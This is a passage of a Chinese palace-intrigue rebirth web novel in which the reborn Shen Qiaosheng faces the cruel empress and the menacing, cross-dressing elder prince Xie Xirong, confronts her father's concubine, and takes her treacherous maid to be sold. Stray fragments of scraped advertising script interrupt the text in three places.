简心应声,赶紧取来给姑娘打扮好。 临走前,沈乔笙用明黄经幡,细细裹好这两天重新抄写的经录,揣进怀中启程。 觐见皇后,意味着她的时间已经开始倒数。 从赐婚到成婚,中间不过短短半年,距离父兄出征被害,更只有不到三个月,她必须要尽快行动。 “姑娘,到了。”简心轻声示意,小心打量心事重重的姑娘。 那晚姑娘遣散众人,赏罚手段,让简心有些害怕。可伺候的这几天,她又发现姑娘仍然十分随和,对他们不曾有任何刁难。 她和小丁一致认为,现在的日子比以前舒心多了。 沈乔笙点头,由简心搀扶走下马车,眉头仍未纾解,心下几多沉重。 小丫头笑脸稚嫩:“简心在此处等姑娘回家。” 沈乔笙微愣,离去前舒展开一抹柔软笑容:“好,上车等,莫熬着冷风。” 天地间,飘扬回旋的雪又重头开始纷朔,在坤宁宫的匾额上积蓄厚度。 等到檐下雪满,沈乔笙已经在门头跪坐半个时辰之久。 大扇云母屏风后人影模糊,隐约能看见皇后倚在小榻上捧卷轻读。 “阴以柔为用,女以弱为美。故鄙谚有云……”皇后念完本段,才不甚经意地道,“沈乔笙,你平时可有读什么书?” 这时对她开口,却仍没吩咐平身。 皇后魏氏一族为太子党,他们既需要定邺侯府的助力,又瞧不起侯府是没根基的门第,若非储君之路不平坦,皇后早已选好宛州母族的亲侄女给谢冠做正妻。 沈乔笙心里和明镜似的。 谢冠敢在婚夜肆意毒杀妻子,他这位势力卓然的皇后母亲,必然给了不少支持。 难怪那次新婚夜宴上,皇后只露面嘱托谢冠,意味深长:“我儿既可独当一面,做事也该牢靠些。” 那时以为是长辈教诲,原来是暗示谢冠将她做干净。沈乔笙思及此,心底泛起恶寒。 掩好心绪,小声答:“女诫。” “哦?你也读这本。”皇后此话新奇,却没多少兴致。 不久又问,“可有什么获得?” 沈乔笙跪在原处,膝盖跪得麻痛,神情木讷得像只人偶:“卑弱第一,夫妇第二,敬慎第三……” 皇后懒得听她掉书袋,忽放下本子,换个姿势斜倚软垫上,也换了话头:“前日太后说本宫为母不尊爱,为臣不持重,暂时削去本宫执掌六宫之权,你觉得本宫该如何改进呢?” 这个问题前世沈乔笙答过。 十来岁的少女温柔儒雅,也自有几分侯门嫡女的傲气,感受到皇后的轻视和刁难,不由慷慨论道,智理情皆在其中,回答得滴水不漏。 反而这一刻,她作出诚惶诚恐的样子,磕头大拜下去:“这,娘娘……臣女不知啊,求娘娘恕罪!” 惧怕到哽咽的嗓音,谁都能听出她不敢回答,生怕得罪了皇后和太后中的某一个。 魏氏不悦默了片刻,轻蔑不加掩饰:“瞧你吓得。要本宫说,你母亲纵然病成什么样儿,也不该把你教得如此难登台面。” 听见她对母亲的轻慢,沈乔笙蓦地攥紧手心。 皇后是给她上眼药,让她难受着,叫她知道天家的门不好进,万事皆要当心脸色,方便日后掌控她。 沈乔笙适时露怯,举止捏造出谨小慎微的畏缩感:“请娘娘教诲。” 她趴在地上,掩压的眼神明亮无比。 马上就来人了,再忍忍。 皇后翘起护甲揉按太阳穴,放缓语气:“你既要许太子,就收好这副小门小户作态,譬如这套繁华首饰你戴着分外招摇,在外头落下个骄奢的话柄,岂不是丢太子的脸面?” 时有宫女端碗轻盈入内,低声耳语:“娘娘,您要的凤髓羹温好了。” 皇后抬眼,反扣书卷接来精致的白瓷盏,宫女未离开,看着皇后优雅饮尽汤羹,才小声禀告:“娘娘,长公主宫里来了人求见,说是给您送些东西,并代长公主向您请安。” 来了!沈乔笙竖起耳朵警觉。 “真晦气,没听过还有奴才代主子请安的,本宫不见。”皇后刻薄的声音中鄙夷显现,又似是顾忌什么,皮笑肉不笑, “不过也是难得,谢袭容想起给本宫这个生母送礼,去拿进来瞧瞧。” 宫女从屏后绕出,碎步出门,不久便捧着只略沉的箱子回来。 皇后不耐地吐了口气,凝得气氛并不很轻松。 屏外沈乔笙跪在门口,瞥眼看见一条莫测的身影静立宫外。 “啊!!” 屏内宫女陡然失声尖叫,开敞的箱子“啪”地掉落。 第二次经历,沈乔笙再被惊到。 屏风遮挡,她不知道宫女看到什么大骇至此,只见汩汩黑血从屏下漫出。 天。匣子里怕是有几条人命。 皇后坐直身体,精致的指甲尖死死攥住引枕,狠瞪宫女:“鬼叫什么?” “奴婢该死,皇后娘娘恕罪!”宫女飞快跪下掌嘴。 拼命忍住恐惧的抽泣,巴掌声一个赛一个响亮,连声不敢停。 皇后沉默着,不断的掌嘴声盖过她急火攻心的深呼吸。 碎裂声爆响,皇后将手边物件狠命挥扫在地,凤眸中怒焰冲天:“混账,疯子!本宫怎会生出如此怪胎?果真……果真是个累十世的孽障!都给本宫滚!” 沈乔笙注意到门口的人离去,大抵是回去复命,她见势而为,趁乱随宫女一起退出坤宁宫,远远跟上去。 她的腿跪得没了知觉,只得艰难地跟在远处,边走边沉吟: 中宫地处极南,前面那人竟然还往南边走,可见不是回后宫。 眼下又是清晨,长公主或有可能在御湖佛堂? ** 御湖中央佛堂内,地龙烧得正旺,暖室如春。 中书府令屈澈换下朝服,一袭麻白直裰,走隐秘小径到来。 他站在外头笑道:“微臣拜见长公主,公主千岁千岁千千岁。” 咻! 门内瞬间射出一枚黑棋。 屈澈惊起避让,棋子从他耳际如电闪过,迅猛打入檐廊外的石柱,深嵌其中,柱身霎时裂痕遍布。 “错了错了,微臣嘴碎玩笑。”他连声改口,弓腰进门。 内间,谢袭容斜倚凭几席地而坐,身姿慵懒落拓,支起的长腿边摆张棋盘,悠然自弈, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对来人眼皮也不抬一下。 屈澈明知谢袭容是货真价实的男儿身,为生存,为大计,不得已自幼扮作女儿样,他还敢拿“公主”称呼到本人面前舞,活该讨棋子儿吃。 他自觉坐在谢袭容对面,执棋加入对局, “听说昨晚您那儿又是一整夜没消停?” 昨晚是本月来伏杀谢袭容的第九批刺客。 但本月才过去八天。 谢袭容从鼻腔里浅淡嗯了一声:“皇后的人,刚遣人送回去了。” 话说的风轻云淡,屈澈听得心里犯怵。 人是送回去,就不知道成什么鸡零狗碎的形状了。 谢袭容十八岁开府出宫,府邸豪奢庞大堪称诸皇子之最,几年来身承太后和陛下的圣宠。 如今陛下醉心仙道,太后偶有垂帘听政,又因年迈需要个贴心人陪伴,随传谢袭容回宫暂住。 如今这位长公主居然依仗太后,隐有摄政之势,这让其余党派怎能坐的住? 首当其冲就是皇后太子党。 他们如常闲谈,落子来回却一丝不停歇,围追堵截,竞相厮杀。 屈澈说:“宫中虽也不太平,但大内布防严密,比起公主府,到底还算是清净。” 几句话的功夫,棋盘上白子已被杀得溃不成军,黑子包围连城,固若金汤。 屈澈早习惯自己片甲不留的境况:“眼下可要臣拨些人手暗中保护您?您此番回宫没带几个人,太后安排的人只怕不能全信。” “阿犯一人,够用。”谢袭容止住他的啰嗦。 四周安静唯有落子声清脆。 屈澈凝眉深聆,就算是他这样武功上乘之人,也很难察觉谢袭容的暗卫存在。 “有意思,焉浚宫十八卫果真名不虚传。”屈澈觉得惊奇。 谢袭容捻棋在指节间,有一搭没一搭翻转,睥睨姿态像是随意把玩着谁的判敕令:“说正事,让你去寻的人找到了?” “先前把江北七郡翻了个底朝天都找不到,刚却得到消息,他来了京城!要说这人真是狗胆包天,入京便罢,今晚还敢去织丹夜阙寻欢,殿下您稍一出手……” 话聊到末尾,外出的宫人匆忙回来,在外间跪安。 屈澈默契收声,听外头仔细说完坤宁宫的情况,话里除了皇后的反应,还说到:“定邺侯府沈二姑娘也在,跪在门口一直不曾起身。” “唷,小太子妃受磋磨呢。”屈澈即刻明白过来,对谢袭容挤眉弄眼,悄声提醒, “她大姐沈元筝卸甲出塞,这姑娘既是您旧部之妹,又有缘做您的弟媳,殿下到时再怎么对东宫,也得顾怜她几分啊。” 得到谢袭容冷然藐视:“你很闲?” “……臣退了。”屈澈闭嘴。 宫人一五一十交代完毕,许久并未得到只言片语的回应,心下拿不准是否告退。 内间紧闭的门唰地拉开,屈澈大摇大摆走出来,与这宫人迎面相视。 宫人几乎立马垂头:“大、大人。” 他暗中思索,长公主接见外男,还是朝廷重臣,恐有异动,此事得找机会传信给主子。 屈澈正要离去,径直经过宫人,笑着拍拍他的肩,故意问:“你后面怎么有条尾巴?” 什么尾巴? 宫人顺着屈澈离开的方向,疑惑地望向门外,没东西啊。 他的背后有道浓影飘落,杀机如一瓣轻鸿坠下,刹那青光毕现,一线封喉。 尸身拖下去时,也是安静无声的。 沈乔笙是在这时姗姗到来。 “乔笙冒昧拜见,求问长公主殿下可在……此处……” 室内幽静得好似没有生机,她越说声音越小,开始后悔冒然进入。 暖气扑面,里头分明有人。 怎么偏偏是在佛堂呢?太后寿宴那天,她闯入佛堂所见的残暴场景历历在目。 血液腥膻味道,似乎还在鼻头缭绕,她小腿肚一阵抽缩,疼痛上涨,有种转身逃走的念头。 没人回应,她苦丧着脸自答前言:“殿下,你真的在呀。” 棋盘上空,执子的修瘦指尖停顿。 门中传出谢袭容冷淡散漫的声线:“不在,丢出去。” 6.006 脱衣裳 “啊?”沈乔笙还没反应过来,就被一股神秘力量揪住后衣领,猛的往门外掀去。 推得她脚下趔趄,全靠扶住一根裂痕斑斑的柱子才勉强站稳。 好快!根本没看到出手的人。 她心里擂鼓,是惊吓也是紧张,声音都低弱了许多:“乔笙的时间太少,只恐相见迟,殿下别赶我走。” 门外女子嘟嘟囔囔,谢袭容垂视棋局良久,腕间南红百籽长串缠绕三圈,当间一颗奇绝的麒麟竭坠子悬晃。 落手边星位,穗尾扫过盘格。 谢袭容发话:“说你的目的。” 沈乔笙脱口:“没什么就是想同殿下亲近亲近。” 谢袭容:“丢远点。” 沈乔笙感觉后领瞬间又被揪住。 在被拎起来前,沈乔笙手脚并用地抱紧柱身赖道:“别!今日进宫向皇后娘娘谢恩,趁离宫前匆忙来一回,殿下就见见我吧!” 腿实在太疼了,密密麻麻的刺痛如钢针不停戳扎,痛到声音颤抖哽咽。 总算肯说到点子上了。 已成死尸的宫人,片刻前带来‘沈二姑娘遭中宫发难’的消息。 她遭受到怎样的痛苦,谢袭容毫不在乎,他只是喜欢欣赏被苦难逼上绝路的人,如何匍匐在他脚下,哀求他赐予一线生机。 她话尾的哭腔,正像是这种哀求的开场,低入尘土,卑微乞怜,的确能让上位者短暂愉悦。 所以谢袭容消遣她一个哭诉的机会,听听她嘴里的自述,能有多委屈: “站那儿说,在本宫数到三之前说完。” 沈乔笙微微怔:“说服殿下见我吗?” “一。”谢袭容没答。 短暂缄默中,沈乔笙回神,怎么说才有效果呢? 她是有些了解谢袭容的。 这位是真正的软硬不吃,也许乞求能令之短暂愉快,但卑微无能会使其很快厌烦,招致更残暴的打击。 她现在像只踩高跷的滑稽小猴子,卖弄杂耍逗公主开心,但凡敢伸爪要果子,就会被公主拧下猴头。 任何期望在长公主身上,都有可能灰飞烟灭,所以不要哀求,不要期望。 “殿下与太子一母同胞,都是皇后亲生,更是乔笙未来的皇姑姐,乔笙与您交好有益于家室和睦。” 她面上和颜悦色,仿佛只是寻常女子在经营婆家关系,却把每句话的末端字词咬得缓慢。 十分的带刺和挑衅。 她真的能感到,有只小猴子在心下吱吱尖叫:完全!一点都不和睦啊! 长公主自幼过继给嫔妃,与皇后亲缘淡薄,在宫中并不是稀罕事。 但她见过的!见过两年后谢袭容登顶,行事越发诡谲残忍,能将皇后以铅灰封灌七窍,活而下葬,她一条野鬼都吓得起飞飘远。 何止是不睦,简直是仇恨! 是仇恨吗? 她又恍然想起,飘荡在殿下身边,目睹皇后受以极刑,谢袭容的表情古井无波,如看脚底万千蝼蚁之一。 “二。”谢袭容若有似无地嗤笑,唇齿流度时间,字节在沈乔笙脑中敲响。 她吸气破釜沉舟道:“二来,虽说女子不可议政,但乔笙知道太子日后势必要荣登大宝,殿下也会鼎力支持胞弟对吧?到那时我们两人的身份,更该亲爱。” 这番懵懂又狂妄的发言,构出一个自以为做了钦定太子妃,就能顺利坐上后位、安享皇权的天真形象。 她相信长公主这般暗藏野心运筹的女子,能听出言下挑唆。 为什么女子不能议政? 凭什么扶持谢冠这等货色? 若论姐弟二人都是嫡出,谢袭容还多占一个“长”字。 沈乔笙总觉得,长公主是在意自己女子身份的。 ‘三’迟迟没等到,她的腿肚子有些打颤。 寂静在她渐快的心跳中拉长,惶惑思绪被门扉中的冷淡声线攥住: “你来。” 听不出情绪。 这下好了。 见效了。 完蛋了。 沈乔笙咽下犹豫,挪动小步,一瘸一拐接近内间。 推开门,高堂霍然灯明火亮,满壁金佛与千盏烛华交辉。 谢袭容墨色淋漓的长发垂地,衣袍铺展曳逸,分明席地坐姿风流跌宕,气度却高于穹顶神意,透着威压。 沈乔笙低头挽起披风跨过低槛,始终不敢抬头看长公主的面色。 豁出去了,却不大敢面对。 如果殿下真的被惹恼了,会不会先在她身上施展那些恐怖手段? 谢袭容松指随意丢落一枚饵,棋子就弹跳着滚到沈乔笙脚边停下,碰到她的脚尖,令她顿步。 沈乔笙俯身拾起这颗棋,小心翼翼来到谢袭容的棋盘前,蹲下乖巧地摊开手掌。 谢袭容瑰丽如曦的长眸在审视她。 她裹在白兔毛绒边柘黄披风里,发上繁复的头饰琼花层层,恰衬出一张淡粉的素面,干净似拨花照见水中月。 一双眸含蓄着江南湿漉的雨,潮润润的无辜,撑起胆子仰头,直视而来,剔亮水灵的眼波中,有落花飘游。 她长久地坚持抬臂,就算手膀泛酸也不放下。 和一只不会动的漂亮瓷娃娃没有分别。 谢袭容动作,握上她展开的手掌,拇指腹准确扣按在她掌心的棋子,其余四指同样匀长有力,将她的手背完全包裹。 然后突然施力,拉扯下去。 沈乔笙惊然轻呼,不容抗拒的牵扯感带她前倾,身体失去平衡,扑跪在硕大的苍相棋盘上。 空手堪堪支撑重心,袖幅绽开,拂落一地黑白玉子叮咚。 两人的距离极速缩近,谢袭容依旧闲雅,拿捏着她冰凉的手不放,停靠的姿态未见半分摇晃。 视角被迫压低,沈乔笙抬起头,视线顺着自己朝上的腕心,不慎,涉入那双夺魂掠魄的眸。 谢袭容霞姿月韵,螓首蛾眉银海目,肤白靡腻不见一丝暇痕,五官风波流转,又于细节处锋刃分明: 浓绒长眉隽雅上挑,若雾中烟柳,山根眉骨流线清晰峻厉,嵌入溶洞幽潭一般旷谧的双眸,潭影偶然折射岩壁上,粼火的梦光,照近细看,却将人吸入暗涌危境。 檀韵浸身,是此间绝有惊鸿艳影。 仿佛一条皈依山佛门前,无邪亦无心的精魅。 沈乔笙看得一时忘情呆怔。 “说话。” 妖精开口,沈乔笙尤若被音钵当头敲醒,低下头“殿”字还没出口,谢袭容又一个命令追来:“抬头说。说本宫该夸你无畏,还是罚你愚蠢?” 话音好似随手拨乱锦瑟五十弦,铮鸣杳杳。 沈乔笙无措,听话地抬头,心颤着眉眼伏低:“乔笙自作聪明。” “那就是该罚。”谢袭容并不抬举她。 手心传来丝丝沁意,但见谢袭容指节微移,拇指推动黑棋又灵巧勾回,在她掌心缓慢滑游拨弄。 微凉玉润的触感。 “既要家室和睦,又要匡扶太子,你倒是在太子妃位上如鱼得水。” 仿若盘玩一样物件,沿她掌纹行走描摹。 谢袭容晗笑睨着她不安的脸,浑不经意,“那么究竟有谁,在本宫面前骂过谢冠狼心狗肺呢?” 沈乔笙张口结舌。 同样的佛堂,情急下显露对太子的怨怒,误打误撞被谢袭容放过,可是同样的话,绝不能再说第二次。 无论如何妄议太子都是死罪。谁晓得长公主今天再听到怨怼之言,会不会直接按律办她? 她望进那笑意讥讽的眸,光摇眩生花。 在明目张胆观察他? 谢袭容捕获她的心思,音调骤然沉冷:“想起来了?” “嘶!” 棋子划过之处,皮肤和玉的质地轻触,筋脉骨骼瞬间被注入沸水般,钻出剧烈的疼痛。 她疼得闭紧眼,下意识蜷缩手心,拢握住谢袭容施罚的手指,试图阻挠力透血肉的痛感。 谁叫她来的不巧,父亲戎马半生,恪守君臣礼义,为女儿豁出老脸求来的婚旨,她岂敢冒风险表露一丝不满? 婚约这块烫手山芋,她轻易不能摆脱,侯府也没资格变卦。 先受着吧,僵持两个颤栗后,她重新展平细嫩的手。 对上长公主清冷的笑眼,她忍痛温让:“那时是乔笙口出狂言了,少年人痴心,赌气吵嘴也是常有的,殿下见笑。” 谢袭容犀利透彻,嘲她:“这点破理由需要编这么久?好没用。” 沈乔笙哽住,弱弱坦诚:“乔笙确实很没用,总想安生一隅,却是处处被欺负打压,害了母亲,如今再要争的话……” 她没说假话,本就不打算干涉权谋,更没想过借刀杀人。 只不过她唯一能信任的上位者,是谢袭容。 大树底下好乘凉,谢袭容很明白她话里想求靠山的意思。 “那就专心辅佐你的未婚夫婿。” “有了未婚夫…就不能和殿下做朋友吗?” “本宫对太子之妻没兴趣。” “殿下若有顾忌,我们瞒着太子就是。” “……呵。” 谢袭容无语冷笑出声。 再次打量她,板直手掌,眼神满是波光动人的希冀,膝盖支撑不住,连带整个身子抖得左摇右摆。 谢袭容松手,颜色不明地淡侃:“你从头到脚都是东宫赏赐,还说隐瞒过太子与本宫交好,不是吃里扒外?下去。” 原来殿下在意的是这个。 沈乔笙思索,没有即刻起身,而是抬手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 解开了颈边的系绳。 毛绒披风顺着肩头滑落,堆叠在腿边,紧接着头上珠光宝气的钗饰被她利索拆下,不心疼地和披风丢在一堆,发丝牵扯微乱。 谢袭容冰若寒潭的面色有一寸龟裂:“你在做什么?” “脱衣裳,脱掉东宫赏的衣裳,望殿下心欢。”她回答着, 指尖纠结腰封的锦扣,素采综裙松散,外衫开敞,露出里面浅云色中衣,贴合纤盈的腰身。 她说要脱衣服讨他开心。 见了鬼了。 谢袭容几乎气笑,无名火闷在胸口,腮颌浮现后槽牙咬紧的肌理。 那头沈乔笙已把腰封摘下,出门前贴身带好的经文随之露出。 她捧起来,抚平上面褶皱递去:“对了,我特意带来《圆觉经》想献给殿下。” 经卷由黄帛仔细捆扎,明晃晃的,被她纤白的手举起。 上头泛出片缕的禅香,一闻便知布料浸过优昙夜露,再以蓬莱松枝薰干,工艺简单,却费时耗力,可见珍重。 谢袭容皱眉,眼锋剐上她层层细裹仍不及一握的腰。 她衣衫不整捧着经书的样子,真刺眼。 还有她轻轻瑟缩的肩骨,体态如此单薄柔软,玉样的纤白脖颈弯出一个脆弱弧度,身量线条如此具有韧性。 都刺眼。 “早时太后娘娘生辰,乔笙带来的经文不慎落地脏了,恐对神佛不敬,归家后日夜重新誊写,” 她跪坐棋盘上,丝毫不为衣衫凌乱所困窘,笑吟吟仰视长公主,分外坚持诚恳, “再拜殿下,请准允乔笙敬上,沾一段福泽。” 在摇曳光影下她看起来宛如不怕事的幼鹿。 说要敬神佛,也要敬长公主,唯独把自己作为信徒,抱以虔诚。 谢袭容垂眸信手拿走誊抄录,没兴趣打开。 倏尔,一抹澄黄似蝴蝶飞过她脸侧。 布帛卷携纸沓,不留情地丢掷向远处。 扔了? 沈乔笙不解,追随经文抛出的轨迹扭过头去,还来不及看清它掉落的姿态,下巴就被一只有力的手捏攥,强硬地掰回,与谢袭容直直对视。 瞧见长公主盯着她不说话,沈乔笙咽了咽干涩的喉头:“……殿下不喜欢我抄的经吗?” “不喜欢,本宫只读人皮刺的梵文。” 指腹摩挲她耳垂下软嫩的皮肉,谢袭容嗓音沉喑,“你看过人皮书么?像你这般瘦小,整张剥下来只够写个序。” 气氛不断压低,压得人透不过气。 沈乔笙勉强笑笑:“殿下别吓唬我了。” “人皮若是留存得当,百年后仍可以保持弹润,没见过?那本宫做一片给你,”他将她故作镇定的表情尽收眼底,字字折磨她的心防, “就用,这里。” 手指划过她脖颈,那里紧张喘气时,动脉里起伏急促。 身子僵住了。 呼吸也停顿了呢。 她就是个精致的机扩人偶,只要稍微捏一捏某个关节,就会给出有趣的反应。 他自然是恶劣的,只想在丢掉前拆开娃娃的胳膊腿儿,看看里头装的是什么。 从发丝到脚趾,一寸寸拆散。 粉身碎骨的残破,才够顺眼。 在沈乔笙还在胆寒时,谢袭容已经压下心头那点破坏欲,靠坐回原位:“算了,滚吧。” 十多岁的小姑娘松了口气,好似劫后余生,微微动唇还想再做点努力。 “多说一个字,就把你做成人皮书。”谢袭容堵住她后话。 那两瓣杏花粉唇紧紧闭上了。 长公主根本不为所动,还想要她的人皮,这让沈乔笙很是挫败。 可惜多说无益,她不舍地看了眼公主的侧脸,动身蹲下,用手拢好满地棋子,捧进棋罐中。 然后重新披上披风,迅速收起自己的金银行头,用外衫包成个简易包裹提起就走,出门前还顺便捡起了那本跌地的《圆觉经》。 谢袭容眸光晦明不定,倒映她离开的身影。 其实她也没有即刻离去,走到外间站住,又打转儿,经书放在供台上摆正,座上奉着不空成就如来,她双手合十,垂首默念: “佛祖在上,乔笙以凡身证因果,愿长公主殿下永断无明,永恒无畏。” 前世是无心渊源,今生是有心接近,沈乔笙到底欠谢袭容一句恩谢。 即便隔门她声如蚊蚋,谢袭容也听得一字不漏。唇角漠然抿起,把玩着从她手中拿回的棋子,弹指寸劲,棋子飞定棋盘,在她方才跪过的位置。 沈乔笙在雪幕中远去,他的手伸入罐中取棋,感受到丝微温暖,那是由她捧来的棋子,被地龙烘烤过的温度。 他烦躁地骂了句: “啧,殷勤。” 7.007 夜阙 简心看到自家姑娘一头素发出来,外衫还拿在手里,当场大惊失色。 但沈乔笙一副脱了力的疲累样子,简心只好三缄其口,只管吩咐赶路。 车辆归家时,沈乔笙已重新穿戴整齐。 照例先回母亲房里,发现母亲正在安睡,屋里多了几个锦盒,装着新鲜精致的滋补品。 询问之下,小丁吐露道:“表公子回来过,关怀夫人许多,这些珍材也是他送来的。” 原来是沈参。 他本是伯侯独子,十多年前沈伯父战死,沈参就一直寄在定邺侯府。 如今做着枢密承旨,时常在外忙碌,有空才归家。 “他人呢?” “一刻前人被东院叫走了。” 沈乔笙在镜前梳头卸妆,动作越发慢。 在她死后,只有一个与她情淡如水的沈参敢质疑东宫,不仅受到沈华彤羞辱,还惹恼了谢冠,被处以割势之刑,沦为阉人。 他本有大好前程,侯府恩怨也与他无关,只因少年时受杨夫人关照,为报一份恩情,竟活活被…… 她猝然把梳子往桌上一拍,愤慨起身往外走。 复生后沈乔笙本不打算与他交情,免得徒增牵系,待婚约危机解除,沈参自然平安无事。 可没有母亲杨氏庇佑,他在府里也同样夹缝生存,乃至比她艰难更甚。 这世道,有情义之人为何受到如此苛待? 厚雪压枝,从树梢滑落一片,碎在茫茫白地上,沈乔笙踏上东院的阶梯。 门房见了她匆忙迎上来,她不理,绕过众人快步穿梭进去。 “婶娘就实话说了吧,咱们沈家出得一位侯爷,一位兵部左侍郎,你不过六品官阶,帮衬不到家里什么,还是早些收心成婚,好生辅佐你叔父和弟弟要紧。” 房内关姨娘尖锐的话音越发清晰。 沈乔笙抬手掀帘,冷笑:“姨娘切莫轻看六品,表哥可是不靠侯府荫蔽,一年内连进三级的六品,泱泱大启朝,这是屈指可数的人才呢。” 沈参在下首谦卑恭听,突然有人挑帘,漏进来的光引去他的视线。 但见她装扮绮秀,光是端然立在那儿,尽显娴雅隆重。 似乎察觉到他的诧异,沈乔笙微微别过脸,遥相点头,眸光比珍珠耳坠更流光溢彩。 关姨娘的精致银手炉“啪”地往桌上重放,不屑地道:“钦定太子妃身份尊贵,可我多年掌家也算是半个主人,你不请自来,知会我一声总要的吧?” 是了,这话倒是提醒了沈乔笙。 现在掌家权还在关氏手里。 得想办法拿来。 “姨娘说的是,乔笙唐突不为别的,只请表哥跟我走一趟。” “你有何事?当着我说就是。”关氏不遂她的愿。 只见沈乔笙垂下眼皮,又变作十分温顺有礼。 “侯府根基不深,坐稳太子妃位何谈容易?我不日便要进宫受教习,禁庭人物规矩颇多,想请表哥指点一二。” 沈乔笙直白告诉关氏,她不配听, “父兄未归,还好有表哥在朝为官,有些事,他身上有品阶的能说,旁人不一定能听。” “牙尖嘴利,我看你到时进宫,是不是也这般目无尊长。”关氏气血上头,狠瞪沈乔笙。 自知身份落下一截,便摆出辈分压人。 沈乔笙歪头对沈参眨了眨眼,沈参心领神会,站起伏揖,恭敬谦和:“姨娘,我先随去为二妹妹答疑解惑,叨扰了。” 沈乔笙满意地点点头,扭身便出去。 沈参快步随后,生怕关氏突然发飙。 一前一后走在雪地里,也是无话。 沈参不止一次地看着她乌黑亮丽的后脑,欲说谢,又咽下。 为什么这位泛泛之交的妹妹,忽然来替他出头? 真是有疑问需他解答?可又不像。 沈乔先开口打破沉默:“表哥是朝廷命官,按理说比她身份高些,也该驳她几句。” 沈参暗自吃惊,向来以孝善出名的二妹妹,也会说出这般果敢的话。 看来是自己浅薄,尽信传言了。 “我不能以身份高低看待人,她毕竟是长辈,我受教几句也无妨。”见沈乔笙微侧头看他,他连忙抬手有礼道, “当、当然,二妹妹今日解救,确实令我轻松许多,多谢妹妹。” 分明是平辈里的长兄,又是官员,在家却还是怕得罪人的样子,甚至要给二妹行礼,哪有这样的呢? 这人还真是符合她前世的印象。正直得发傻。 她转身正要劝说几句,从旁窸窣一串杂乱的脚步声很快及近,为首的小丫头不慎撞上她,撞得两人都踉跄站不稳。 沈参迅速反应,上前扶稳二人。 三五个小姑娘慌张地站在原地,面上纱巾掩着口鼻,手捧着白包裹,看方向要往院子的偏侧小门去。 “何事惊慌?”沈参询问。 丫头撞到沈乔笙,自知理亏也不敢隐瞒,犹豫一会儿才细声说:“是……院里的孙婶娘病死了,好几天才被发现,我们姨娘嫌晦气,让赶紧收拾遗物到外头烧尽。” 她还算是胆大的,这几个姑娘都是见过孙婶娘死相,听着就纷纷干呕啜泣起来。 沈乔笙心里轰然嗡鸣。 孙婶娘? 是她刚从前世醒来时,在秦雉苑端着碗杏仁酪耀武扬威的,孙婶娘? 那天见面,对方还是一副中气十足的样子,竟突然病死。 沈参也颇为震惊:“人什么时候走的?” “敛尸的来看过,说是六七天前就死了,幸好在隆冬里,不然……” 丫头声音渐小,不愿继续往下说。 沈乔笙一推算,更觉恍惚。 那正是她复生还魂的日子。 孙婶娘离开秦雉苑后,当天就死了。 沈参眉头微皱,并没有打消疑虑,但瞧见丫头们面色都不好,他立断:“走吧,带我去,多一人帮你们收拾,关姨娘也不好怪罪。” 一改谦卑文弱,言语显出几分官员的正气。 沈乔笙知他打算去暗查,不免担忧出声:“表哥。” 沈参摇摇头递来眼神,她只能暂且保留后话,与他分头而去。 ** 时入傍夜,窗扉寂静,雪已停了许久。 沈乔笙总觉孙婶娘的死似乎有异,蹊跷如麻纠缠心头,她厘不清,卸净妆,依在窗台边冥思。 忽而一只断线的纸鸢趁着天昏,悠悠转转从围墙外飞进来,挂在她窗前的秃树枝上。 她定睛细看: 这是雪茵安排的车马,已经到了。 “小丁!”她唤道。 那厢小丁快步进来,垂首应“在”,她立刻吩咐:“将人蒙上眼堵上嘴,随我绑过来。” 小丁做事牢靠,麻利地把繁芜从柴房扭送出来,塞进后门处其貌不扬的马车。 沈乔笙拢起散发编成一股,简单搭绕脖间,取来帷笠出发。 与车夫暗语几句,她三步并作两步登车,临走前不放心地探出头嘱咐:“我晚些回来,秦雉苑里你和简心照看,莫漏风声,尤其瞒着夫人。” “姑娘放心。”小丁一并应下,目送车子远去夜色中,才四下观察,确保无人看见后,回府无声无息掩上门,好似没有来过。 为避人迹,小车专挑偏僻荒路走,又因夜幕昏沉只能放慢速度,车轮在寂夜里吱呀作响,半个时辰后驶入人声喧沸,淹没在闹市。 沈乔笙静坐凝神,身旁瘫着被小丁一把蒙汗药药晕的繁芜。 “笃笃笃” 车壁传来三声敲响,是车夫给她的到达暗号。 她亦叩响三声作为回应。 车夫得令,展开早准备好的摇幡,开始沿街叫卖:“来来来瞧一瞧看一看,大户官婢招买家了!” 若是放在寻常街市,公然贩卖奴仆自然是有伤人和。 但这是春洪街。 在织丹夜阙脚下的春洪街。 莫说普通奴仆,就是出售西域打奴、死士刺客也不足为奇,游走的商贩个个神出鬼没。 马车缓慢向前行驶,期间有几个人牙子前来问价,沈乔笙都暂且谢绝。 她为繁芜安排的去处很明确—— -“好二姐,你该庆幸这杯鸩酒叫你一了百了,否则由着我想,还不知该把你送到什么秦楼楚馆,你说呢繁芜?”- -“回三姑娘,京城中当属黯坊最隐蔽。”- 死前沈华彤和繁芜的交谈回荡耳边。 勾栏不过是寻欢作乐的地方,黯坊却是其中最阴暗恐怖之处。里头男女伎子,只有死的,没有从良出来的。 十年情分,多谢繁芜的好提议。 复又行过二里,驶近织丹夜阙大门,宽阔路面人潮如织,从暗处走出一列身着暗蓝袍之人。 为首的女子三十出头,身后几个魁梧的打手跟随着她。 “你说的大户官婢,是哪户?姓什么?”女子走上前来拦住车。 沈乔笙听到动静心头一动,掀开车帘瞧去,蓝袍女子的妆容有些脂粉气,颈侧赫然一道妖异刺青。 终于来对人了。 沈乔笙直起身走出车外,轻盈站在边台,定声回道: “这儿的规矩是买卖自由,不问来处,对吧?” 蓝袍女子见这少女有备而来,也不再过多打听,转而道:“看看品相。” 沈乔笙点头,一手扶着车架翩然跃下,足尖点地,反手指向车内:“请随意。” 她从小体 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弱,却不是娇滴滴的小娘子,长姐在家舞刀弄枪时,没少抓她锻炼,因而没有脚凳跳个车台也不难。 帽子帷纱飘逸,她穿着修身的牙白色妆花小袄,底下是同色的褂裙,腰间扎一根无心绿绦带,全身没有一样配饰,却恰如其分衬显她的苗条娟美。 她跳下的身姿算不得矫健,像只粉蝶翩跹落下,扑闪的翅还不自知,已然飞进了楼上某人锐厉的视线。 【织丹夜阙】七楼 